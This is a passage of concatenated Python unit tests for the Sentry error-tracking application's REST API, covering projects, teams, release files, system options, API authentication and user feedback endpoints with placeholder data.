        )

        assert Project.objects.get(id=project.id).status == ProjectStatus.PENDING_DELETION

    @mock.patch('sentry.api.endpoints.project_details.delete_project')
    def test_internal_project(self, mock_delete_project):
        project = self.create_project()

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })

        with self.settings(SENTRY_PROJECT=project.id):
            response = self.client.delete(url)

        assert not mock_delete_project.delay.mock_calls

        assert response.status_code == 403






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import ProjectKey
from sentry.testutils import APITestCase


class UpdateProjectKeyTest(APITestCase):
    def test_simple(self):
        project = self.create_project()
        key = ProjectKey.objects.get_or_create(project=project)[0]
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-key-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'key_id': key.public_key,
        })
        response = self.client.put(url, {'name': 'hello world'})
        assert response.status_code == 200
        key = ProjectKey.objects.get(id=key.id)
        assert key.label == 'hello world'


class DeleteProjectKeTest(APITestCase):
    def test_simple(self):
        project = self.create_project()
        self.login_as(user=self.user)
        key = ProjectKey.objects.get_or_create(project=project)[0]
        url = reverse('sentry-api-0-project-key-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'key_id': key.public_key,
        })
        resp = self.client.delete(url)
        assert resp.status_code == 204, resp.content
        assert not ProjectKey.objects.filter(id=key.id).exists()






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import Broadcast, BroadcastSeen
from sentry.testutils import APITestCase


class BroadcastListTest(APITestCase):
    def test_simple(self):
        broadcast1 = Broadcast.objects.create(message='bar', is_active=True)
        Broadcast.objects.create(message='foo', is_active=False)

        self.login_as(user=self.user)
        url = reverse('sentry-api-0-broadcast-index')
        response = self.client.get(url)
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(broadcast1.id)


class BroadcastUpdateTest(APITestCase):
    def test_simple(self):
        broadcast1 = Broadcast.objects.create(message='bar', is_active=True)
        broadcast2 = Broadcast.objects.create(message='foo', is_active=False)

        self.login_as(user=self.user)
        url = reverse('sentry-api-0-broadcast-index')
        response = self.client.put(url, {
            'hasSeen': '1'
        })
        assert response.status_code == 200
        assert response.data['hasSeen']

        assert BroadcastSeen.objects.filter(
            user=self.user,
            broadcast=broadcast1,
        ).exists()
        assert not BroadcastSeen.objects.filter(
            user=self.user,
            broadcast=broadcast2,
        ).exists()






from __future__ import absolute_import, print_function

from sentry.models import Environment, GroupRelease, Release
from sentry.testutils import APITestCase


class GroupEnvironmentDetailsTest(APITestCase):
    def test_no_data_empty_env(self):
        self.login_as(user=self.user)

        group = self.create_group()
        Environment.objects.create(project_id=group.project_id, name='')

        url = '/api/0/issues/{}/environments/none/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['lastRelease'] is None
        assert response.data['firstRelease'] is None
        assert response.data['environment']['name'] == ''

    def test_no_data_named_env(self):
        self.login_as(user=self.user)

        group = self.create_group()

        Environment.objects.create(
            project_id=group.project_id,
            name='production',
        )

        url = '/api/0/issues/{}/environments/production/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['lastRelease'] is None
        assert response.data['firstRelease'] is None
        assert response.data['environment']['name'] == 'production'

    def test_with_data_named_env(self):
        self.login_as(user=self.user)

        project = self.create_project()
        group = self.create_group(project=project)
        Environment.objects.create(
            project_id=group.project_id,
            name='production',
        )

        release = Release.objects.create(
            project=project,
            version='abcdef',
        )

        GroupRelease.objects.create(
            release_id=release.id,
            group_id=group.id,
            project_id=project.id,
            environment='production',
        )

        url = '/api/0/issues/{}/environments/production/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['lastRelease']['release']['version'] == release.version
        assert response.data['firstRelease']['release']['version'] == release.version
        assert response.data['environment']['name'] == 'production'
        assert response.data['environment'].get('stats')

    def test_missing_env(self):
        self.login_as(user=self.user)

        group = self.create_group()
        Environment.objects.create(project_id=group.project_id, name='')

        url = '/api/0/issues/{}/environments/doesnotexist/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 404, response.content






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class TeamMembersTest(APITestCase):
    def test_simple(self):
        org = self.create_organization()
        team = self.create_team(organization=org)
        foo = self.create_user('foo@example.com')
        bar = self.create_user('bar@example.com')
        member = self.create_member(organization=org, user=foo, teams=[team])
        self.create_member(organization=org, user=bar, teams=[])
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-team-members', kwargs={
            'organization_slug': org.slug,
            'team_slug': team.slug,
        })
        response = self.client.get(url)
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(member.id)






from __future__ import absolute_import

import six

from sentry.app import tsdb
from sentry.testutils import APITestCase


class ProjectGroupStatsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()
        group1 = self.create_group(project=project)
        group2 = self.create_group(project=project)

        url = '/api/0/projects/{}/{}/issues/stats/'.format(
            project.organization.slug,
            project.slug,
        )
        response = self.client.get('%s?id=%s&id=%s' % (url, group1.id, group2.id),
                                   format='json')

        tsdb.incr(tsdb.models.group, group1.id, count=3)

        response = self.client.get('%s?id=%s&id=%s' % (url, group1.id, group2.id),
                                   format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert six.text_type(group1.id) in response.data
        assert six.text_type(group2.id) in response.data

        group_data = response.data[six.text_type(group1.id)]
        assert group_data[-1][1] == 3, response.data
        for point in group_data[:-1]:
            assert point[1] == 0
        assert len(group_data) == 24






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry import options
from sentry.testutils import APITestCase


class SystemOptionsTest(APITestCase):
    url = reverse('sentry-api-0-system-options')

    def test_simple(self):
        self.login_as(user=self.user)
        response = self.client.get(self.url)
        assert response.status_code == 200
        assert 'system.secret-key' in response.data
        assert 'system.url-prefix' in response.data
        assert 'system.admin-email' in response.data

    def test_bad_query(self):
        self.login_as(user=self.user)
        response = self.client.get(self.url, {'query': 'nonsense'})
        assert response.status_code == 400
        assert 'nonsense' in response.data

    def test_required(self):
        self.login_as(user=self.user)
        response = self.client.get(self.url, {'query': 'is:required'})
        assert response.status_code == 200
        assert 'system.rate-limit' not in response.data
        assert 'system.url-prefix' in response.data

    def test_not_logged_in(self):
        response = self.client.get(self.url)
        assert response.status_code == 401
        response = self.client.put(self.url)
        assert response.status_code == 401

    def test_disabled_smtp(self):
        self.login_as(user=self.user)

        with self.options({'mail.backend': 'smtp'}):
            response = self.client.get(self.url)
            assert response.status_code == 200
            assert response.data['mail.host']['field']['disabled'] is False
            assert response.data['mail.host']['field']['disabledReason'] is None

        with self.options({'mail.backend': 'dummy'}):
            response = self.client.get(self.url)
            assert response.status_code == 200
            assert response.data['mail.host']['field']['disabled'] is True
            assert response.data['mail.host']['field']['disabledReason'] == 'smtpDisabled'

    def test_put_unknown_option(self):
        self.login_as(user=self.user)
        response = self.client.put(self.url, {
            'xxx': 'lol',
        })
        assert response.status_code == 400
        assert response.data['error'] == 'unknown_option'

    def test_put_simple(self):
        self.login_as(user=self.user)
        assert options.get('mail.host') != 'lolcalhost'
        response = self.client.put(self.url, {
            'mail.host': 'lolcalhost',
        })
        assert response.status_code == 200
        assert options.get('mail.host') == 'lolcalhost'






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class ProjectEventsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()
        group = self.create_group(project=project)
        event_1 = self.create_event('a' * 32, group=group)
        event_2 = self.create_event('b' * 32, group=group)

        url = reverse('sentry-api-0-project-events', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            six.text_type(event_1.id),
            six.text_type(event_2.id),
        ])






from __future__ import absolute_import

import six

from django.core.files.uploadedfile import SimpleUploadedFile
from django.core.urlresolvers import reverse

from sentry.models import File, Release, ReleaseFile
from sentry.testutils import APITestCase


class ReleaseFilesListTest(APITestCase):
    def test_simple(self):
        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        releasefile = ReleaseFile.objects.create(
            project=project,
            release=release,
            file=File.objects.create(
                name='application.js',
                type='release.file',
            ),
            name='http://example.com/application.js'
        )

        url = reverse('sentry-api-0-release-files', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })

        self.login_as(user=self.user)

        response = self.client.get(url)

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(releasefile.id)


class ReleaseFileCreateTest(APITestCase):
    def test_simple(self):
        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-files', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })

        self.login_as(user=self.user)

        response = self.client.post(url, {
            'name': 'http://example.com/application.js',
            'header': 'X-SourceMap: http://example.com',
            'file': SimpleUploadedFile('application.js', b'function() { }',
                                       content_type='application/javascript'),
        }, format='multipart')

        assert response.status_code == 201, response.content

        releasefile = ReleaseFile.objects.get(release=release)
        assert releasefile.name == 'http://example.com/application.js'
        assert releasefile.ident == ReleaseFile.get_ident('http://example.com/application.js')
        assert releasefile.file.headers == {
            'Content-Type': 'application/javascript',
            'X-SourceMap': 'http://example.com',
        }

    def test_no_file(self):
        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-files', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })

        self.login_as(user=self.user)

        response = self.client.post(url, {
            'header': 'X-SourceMap: http://example.com',
        }, format='multipart')

        assert response.status_code == 400, response.content

    def test_missing_name(self):
        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-files', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })

        self.login_as(user=self.user)

        response = self.client.post(url, {
            'header': 'X-SourceMap: http://example.com',
            'file': SimpleUploadedFile('', b'function() { }',
                                       content_type='application/javascript'),
        }, format='multipart')

        assert response.status_code == 400, response.content

    def test_bad_headers(self):
        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-files', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })

        self.login_as(user=self.user)

        response = self.client.post(url, {
            'name': 'http://example.com/application.js',
            'header': 'lol',
            'file': SimpleUploadedFile('application.js', b'function() { }',
                                       content_type='application/javascript'),
        }, format='multipart')

        assert response.status_code == 400, response.content

    def test_duplicate_file(self):
        project = self.create_project(name='foo')

        release = Release.objects.create(
            project=project,
            version='1',
        )

        url = reverse('sentry-api-0-release-files', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'version': release.version,
        })

        self.login_as(user=self.user)

        data = {
            'name': 'http://example.com/application.js',
            'header': 'X-SourceMap: http://example.com',
            'file': SimpleUploadedFile('application.js', b'function() { }',
                                       content_type='application/javascript'),
        }

        response = self.client.post(url, data, format='multipart')

        assert response.status_code == 201, response.content

        releasefile = ReleaseFile.objects.get(release=release)
        assert releasefile.name == 'http://example.com/application.js'
        assert releasefile.file.headers == {
            'Content-Type': 'application/javascript',
            'X-SourceMap': 'http://example.com',
        }

        # Now upload it again!
        response = self.client.post(url, data, format='multipart')

        assert response.status_code == 409, response.content






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse
from mock import patch

from sentry.models import Team, TeamStatus
from sentry.testutils import APITestCase


class TeamDetailsTest(APITestCase):
    def test_simple(self):
        team = self.team  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-team-details', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })
        response = self.client.get(url)
        assert response.status_code == 200
        assert response.data['id'] == six.text_type(team.id)


class TeamUpdateTest(APITestCase):
    def test_simple(self):
        team = self.team  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-team-details', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })
        resp = self.client.put(url, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 200, resp.content
        team = Team.objects.get(id=team.id)
        assert team.name == 'hello world'
        assert team.slug == 'foobar'


class TeamDeleteTest(APITestCase):
    @patch('sentry.api.endpoints.team_details.delete_team')
    def test_can_remove_as_team_admin(self, delete_team):
        org = self.create_organization()
        team = self.create_team(organization=org)
        project = self.create_project(team=team)  # NOQA

        user = self.create_user(email='foo@example.com', is_superuser=False)

        self.create_member(
            organization=org,
            user=user,
            role='admin',
            teams=[team],
        )

        self.login_as(user)

        url = reverse('sentry-api-0-team-details', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })

        with self.settings(SENTRY_PROJECT=0):
            response = self.client.delete(url)

        team = Team.objects.get(id=team.id)

        assert response.status_code == 204, response.data

        assert team.status == TeamStatus.PENDING_DELETION

        delete_team.delay.assert_called_once_with(
            object_id=team.id,
            countdown=3600,
        )

    def test_cannot_remove_as_member(self):
        org = self.create_organization(owner=self.user)
        team = self.create_team(organization=org)
        project = self.create_project(team=team)  # NOQA

        user = self.create_user(email='foo@example.com', is_superuser=False)

        team.organization.member_set.create_or_update(
            organization=org,
            user=user,
            values={
                'role': 'member',
            }
        )

        self.login_as(user=user)

        url = reverse('sentry-api-0-team-details', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })
        response = self.client.delete(url)

        assert response.status_code == 403






from __future__ import absolute_import

from sentry.models import GroupTagKey, GroupTagValue, TagKey, TagValue
from sentry.testutils import APITestCase


class GroupTagsTest(APITestCase):
    def test_simple(self):
        group = self.create_group()
        group.data['tags'] = (['foo', 'bar'], ['biz', 'baz'])
        group.save()

        for key, value in group.data['tags']:
            TagKey.objects.create(
                project=group.project,
                key=key,
            )
            TagValue.objects.create(
                project=group.project,
                key=key,
                value=value,
            )
            GroupTagKey.objects.create(
                project=group.project,
                group=group,
                key=key,
            )
            GroupTagValue.objects.create(
                project=group.project,
                group=group,
                key=key,
                value=value,
            )

        self.login_as(user=self.user)

        url = '/api/0/issues/{}/tags/'.format(group.id)
        response = self.client.get(url, format='json')
        assert response.status_code == 200, response.content
        assert len(response.data) == 2






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import Project
from sentry.testutils import APITestCase


class TeamProjectIndexTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)
        team = self.create_team(slug='baz')
        project_1 = self.create_project(team=team, slug='fiz')
        project_2 = self.create_project(team=team, slug='buzz')

        url = reverse('sentry-api-0-team-project-index', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })
        response = self.client.get(url)
        assert response.status_code == 200
        assert len(response.data) == 2
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            six.text_type(project_1.id),
            six.text_type(project_2.id),
        ])


class TeamProjectCreateTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)
        team = self.create_team(slug='baz')
        url = reverse('sentry-api-0-team-project-index', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })
        resp = self.client.post(url, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 201, resp.content
        project = Project.objects.get(id=resp.data['id'])
        assert project.name == 'hello world'
        assert project.slug == 'foobar'
        assert project.team == team

        resp = self.client.post(url, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 409, resp.content






from __future__ import absolute_import

from sentry.models import GroupTagValue, TagKey, TagValue
from sentry.testutils import APITestCase


class GroupTagKeyValuesTest(APITestCase):
    def test_simple(self):
        key, value = 'foo', 'bar'

        project = self.create_project()
        group = self.create_group(project=project)
        TagKey.objects.create(project=project, key=key)
        TagValue.objects.create(
            project=project,
            key=key,
            value=value,
        )
        GroupTagValue.objects.create(
            project=project,
            group=group,
            key=key,
            value=value,
        )

        self.login_as(user=self.user)

        url = '/api/0/issues/{}/tags/{}/values/'.format(group.id, key)

        response = self.client.get(url)

        assert response.status_code == 200
        assert len(response.data) == 1

        assert response.data[0]['value'] == 'bar'






from __future__ import absolute_import

import functools
import sys

from django.core.urlresolvers import reverse

from sentry.app import tsdb
from sentry.testutils import APITestCase


class OrganizationStatsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        org = self.create_organization(owner=self.user, name='baz')

        tsdb.incr(tsdb.models.organization_total_received, org.id, count=3)

        url = reverse('sentry-api-0-organization-stats', args=[org.slug])
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data[-1][1] == 3, response.data
        for point in response.data[:-1]:
            assert point[1] == 0
        assert len(response.data) == 24

    def test_id_filtering(self):
        self.login_as(user=self.user)

        org = self.create_organization(owner=self.user, name='baz')
        project = self.create_project(
            slug='example',
            team=self.create_team(organization=org),
        )

        make_request = functools.partial(
            self.client.get,
            reverse('sentry-api-0-organization-stats', args=[org.slug]),
            format='json'
        )

        response = make_request({
            'id': [project.id],
            'group': 'project',
        })

        assert response.status_code == 200, response.content
        assert project.id in response.data

        response = make_request({
            'id': [sys.maxsize],
            'group': 'project',
        })

        assert project.id not in response.data






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class OrganizationMemberListTest(APITestCase):
    def test_simple(self):
        user_1 = self.create_user('foo@localhost', username='foo')
        user_2 = self.create_user('bar@localhost', username='bar')
        self.create_user('baz@localhost', username='baz')

        org = self.create_organization(owner=user_1)
        org.member_set.create(user=user_2)

        self.login_as(user=user_1)

        url = reverse('sentry-api-0-organization-member-index', kwargs={
            'organization_slug': org.slug,
        })

        response = self.client.get(url)

        assert response.status_code == 200
        assert len(response.data) == 2
        assert response.data[0]['email'] == user_2.email
        assert response.data[1]['email'] == user_1.email






from __future__ import absolute_import

import six

from datetime import timedelta
from django.core.urlresolvers import reverse
from django.utils import timezone

from sentry.models import GroupAssignee, ProjectStatus
from sentry.testutils import APITestCase


class OrganizationMemberIssuesAssignedTest(APITestCase):
    def test_simple(self):
        now = timezone.now()
        user = self.create_user('foo@example.com')
        org = self.create_organization(name='foo')
        team = self.create_team(name='foo', organization=org)
        self.create_member(
            organization=org,
            user=user,
            role='admin',
            teams=[team],
        )
        project1 = self.create_project(name='foo', organization=org, team=team)
        group1 = self.create_group(project=project1)
        group2 = self.create_group(project=project1)
        project2 = self.create_project(name='bar', organization=org, team=team,
                                       status=ProjectStatus.PENDING_DELETION)
        group3 = self.create_group(project=project2)
        GroupAssignee.objects.create(
            group=group1,
            project=project1,
            user=user,
            date_added=now,
        )
        GroupAssignee.objects.create(
            group=group2,
            project=project1,
            user=user,
            date_added=now + timedelta(seconds=1),
        )
        # should not show up as project is pending removal
        GroupAssignee.objects.create(
            group=group3,
            project=project2,
            user=user,
            date_added=now + timedelta(seconds=2),
        )

        path = reverse('sentry-api-0-organization-member-issues-assigned', args=[org.slug, 'me'])

        self.login_as(user)

        resp = self.client.get(path)

        assert resp.status_code == 200
        assert len(resp.data) == 2
        assert resp.data[0]['id'] == six.text_type(group2.id)
        assert resp.data[1]['id'] == six.text_type(group1.id)






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import Project, ProjectStatus
from sentry.testutils import APITestCase


class ProjectsListTest(APITestCase):
    @fixture
    def path(self):
        return reverse('sentry-api-0-projects')

    def test_member(self):
        user = self.create_user('foo@example.com', is_superuser=False)
        org = self.create_organization(name='foo')
        team = self.create_team(organization=org, name='foo')
        project = self.create_project(team=team, organization=org)

        self.create_member(organization=org, user=user, teams=[team])

        org2 = self.create_organization(name='bar')
        team2 = self.create_team(organization=org, name='bar')
        self.create_project(team=team2, organization=org2)

        self.login_as(user=user)
        response = self.client.get(self.path)
        assert response.status_code == 200
        assert len(response.data) == 1

        assert response.data[0]['id'] == six.text_type(project.id)
        assert response.data[0]['organization']['id'] == six.text_type(org.id)

    def test_superuser(self):
        Project.objects.all().delete()

        user = self.create_user('foo@example.com', is_superuser=True)

        org = self.create_organization(name='foo', owner=user)
        self.create_project(organization=org)

        org2 = self.create_organization(name='bar')
        self.create_project(organization=org2)

        self.login_as(user=user)
        response = self.client.get(self.path)
        assert response.status_code == 200
        assert len(response.data) == 2

    def test_status_filter(self):
        Project.objects.all().delete()

        user = self.create_user('foo@example.com', is_superuser=True)

        org = self.create_organization(name='foo')
        project1 = self.create_project(organization=org)

        org2 = self.create_organization(name='bar')
        project2 = self.create_project(organization=org2, status=ProjectStatus.PENDING_DELETION)

        self.login_as(user=user)

        response = self.client.get(self.path + '?status=active')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(project1.id)

        response = self.client.get(self.path + '?status=deleted')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(project2.id)

    def test_query_filter(self):
        Project.objects.all().delete()

        user = self.create_user('foo@example.com', is_superuser=True)

        org = self.create_organization(name='foo')
        project1 = self.create_project(name='foo', organization=org)

        org2 = self.create_organization(name='bar')
        self.create_project(name='bar', organization=org2)

        self.login_as(user=user)

        response = self.client.get(self.path + '?query=foo')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(project1.id)

        response = self.client.get(self.path + '?query=baz')
        assert response.status_code == 200
        assert len(response.data) == 0






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Environment
from sentry.testutils import APITestCase


class ProjectEnvironmentsTest(APITestCase):
    def test_simple(self):
        project = self.create_project()

        Environment.objects.create(
            project_id=project.id,
            name='production',
        )

        Environment.objects.create(
            project_id=project.id,
            name='staging',
        )

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-environments', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url, format='json')
        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert response.data[0]['name'] == 'production'
        assert response.data[1]['name'] == 'staging'






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.app import tsdb
from sentry.testutils import APITestCase


class TeamStatsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        team = self.create_team(name='foo')
        project_1 = self.create_project(team=team, name='a')
        project_2 = self.create_project(team=team, name='b')
        team_2 = self.create_team(name='bar')
        project_3 = self.create_project(team=team_2, name='c')

        tsdb.incr(tsdb.models.project, project_1.id, count=3)
        tsdb.incr(tsdb.models.project, project_2.id, count=5)
        tsdb.incr(tsdb.models.project, project_3.id, count=10)

        url = reverse('sentry-api-0-team-stats', kwargs={
            'organization_slug': team.organization.slug,
            'team_slug': team.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data[-1][1] == 8, response.data
        for point in response.data[:-1]:
            assert point[1] == 0
        assert len(response.data) == 24






from __future__ import absolute_import, print_function

import six

from sentry.testutils import APITestCase


class SharedGroupDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        event = self.create_event(group=group)

        url = '/api/0/shared/issues/{}/'.format(group.get_share_id())
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(group.id)
        assert response.data['latestEvent']['id'] == six.text_type(event.id)
        assert response.data['project']['slug'] == group.project.slug
        assert response.data['project']['organization']['slug'] == group.organization.slug

    def test_feature_disabled(self):
        self.login_as(user=self.user)

        group = self.create_group()
        org = group.organization
        org.flags.disable_shared_issues = True
        org.save()

        url = '/api/0/shared/issues/{}/'.format(group.get_share_id())
        response = self.client.get(url, format='json')

        assert response.status_code == 404






from __future__ import absolute_import

import six

from datetime import datetime
from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class ProjectEventDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        prev_event = self.create_event(
            event_id='a',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 24),
        )
        cur_event = self.create_event(
            event_id='b',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 25),
        )
        next_event = self.create_event(
            event_id='c',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 26),
        )

        url = reverse('sentry-api-0-project-event-details', kwargs={
            'event_id': cur_event.event_id,
            'project_slug': cur_event.project.slug,
            'organization_slug': cur_event.project.organization.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(cur_event.id)
        assert response.data['nextEventID'] == six.text_type(next_event.event_id)
        assert response.data['previousEventID'] == six.text_type(prev_event.event_id)
        assert response.data['groupID'] == six.text_type(group.id)






from __future__ import absolute_import

import six

from base64 import b64encode
from django.core.urlresolvers import reverse

from sentry.models import ApiKey, ApiToken
from sentry.testutils import APITestCase


class ApiIndexTest(APITestCase):
    def test_anonymous(self):
        url = reverse('sentry-api-index')
        response = self.client.get(url)
        assert response.status_code == 200
        assert response.data['version'] == '0'
        assert not response.data['user']
        assert not response.data['auth']

    def test_session_auth(self):
        self.login_as(user=self.user)
        url = reverse('sentry-api-index')
        response = self.client.get(url)
        assert response.status_code == 200
        assert response.data['version'] == '0'
        assert response.data['user']['id'] == six.text_type(self.user.id)
        assert not response.data['auth']

    def test_key_auth(self):
        org = self.create_organization()
        key = ApiKey.objects.create(
            organization=org,
        )
        url = reverse('sentry-api-index')
        response = self.client.get(
            url,
            HTTP_AUTHORIZATION='Basic ' + b64encode('{}:'.format(key.key)),
        )
        assert response.status_code == 200
        assert response.data['version'] == '0'
        assert response.data['auth']['scopes'] == key.get_scopes()
        assert not response.data['user']

    def test_token_auth(self):
        token = ApiToken.objects.create(
            user=self.user,
        )
        url = reverse('sentry-api-index')
        response = self.client.get(
            url,
            HTTP_AUTHORIZATION='Bearer {}'.format(token.token),
        )
        assert response.status_code == 200
        assert response.data['version'] == '0'
        assert response.data['auth']['scopes'] == token.get_scopes()
        assert response.data['user']['id'] == six.text_type(self.user.id)






from __future__ import absolute_import

import six

from sentry.testutils import APITestCase
from sentry.models import GroupStatus, UserReport


class ProjectUserReportListTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()
        group = self.create_group(project=project)
        group2 = self.create_group(project=project, status=GroupStatus.RESOLVED)
        report_1 = UserReport.objects.create(
            project=project,
            event_id='a' * 32,
            name='Foo',
            email='foo@example.com',
            comments='Hello world',
            group=group,
        )

        # should not be included due to missing link
        UserReport.objects.create(
            project=project,
            event_id='b' * 32,
            name='Bar',
            email='bar@example.com',
            comments='Hello world',
        )

        # should not be included due to resolution
        UserReport.objects.create(
            project=project,
            event_id='c' * 32,
            name='Baz',
            email='baz@example.com',
            comments='Hello world',
            group=group2,
        )

        url = '/api/0/projects/{}/{}/user-feedback/'.format(
            project.organization.slug,
            project.slug,
        )

        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            six.text_type(report_1.id),
        ])

    def test_all_reports(self):
        self.login_as(user=self.user)

        project = self.create_project()
        group = self.create_group(project=project, status=GroupStatus.RESOLVED)
        report_1 = UserReport.objects.create(
            project=project,
            event_id='a' * 32,
            name='Foo',
            email='foo@example.com',
            comments='Hello world',
            group=group,
        )

        url = '/api/0/projects/{}/{}/user-feedback/'.format(
            project.organization.slug,
            project.slug,
        )

        response = self.client.get('{}?status='.format(url), format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert sorted(map(lambda x: x['id'], response.data)) == sorted([
            six.text_type(report_1.id),
        ])


class CreateProjectUserReportTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project()
        group = self.create_group(project=project)
        event = self.create_event(group=group)

        url = '/api/0/projects/{}/{}/user-feedback/'.format(
            project.organization.slug,
            project.slug,
        )

        response = self.client.post(url, data={
            'event_id': event.event_id,
            'email': 'foo@example.com',
            'name': 'Foo Bar',
            'comments': 'It broke!',
        })

        assert response.status_code == 200, response.content

        report = UserReport.objects.get(
            id=response.data['id'],
        )
        assert report.project == project
        assert report.group == group
        assert report.email == 'foo@example.com'
        assert report.name == 'Foo Bar'
        assert report.comments == 'It broke!'






from __future__ import absolute_import, print_function

import six

from sentry.models import GroupSubscription
from sentry.testutils import APITestCase


class GroupParticipantsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()

        GroupSubscription.objects.create(
            user=self.user,
            group=group,
            project=group.project,
            is_active=True,
        )

        url = '/api/0/issues/{}/participants/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(self.user.id)






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class UserOrganizationsTest(APITestCase):
    def test_simple(self):
        user = self.create_user(email='a@example.com')
        org = self.create_organization(name='foo')
        self.create_organization(name='bar')
        self.create_member(organization=org, user=user)

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-organizations', kwargs={
            'user_id': 'me',
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(org.id)






from __future__ import absolute_import

import mock
import six

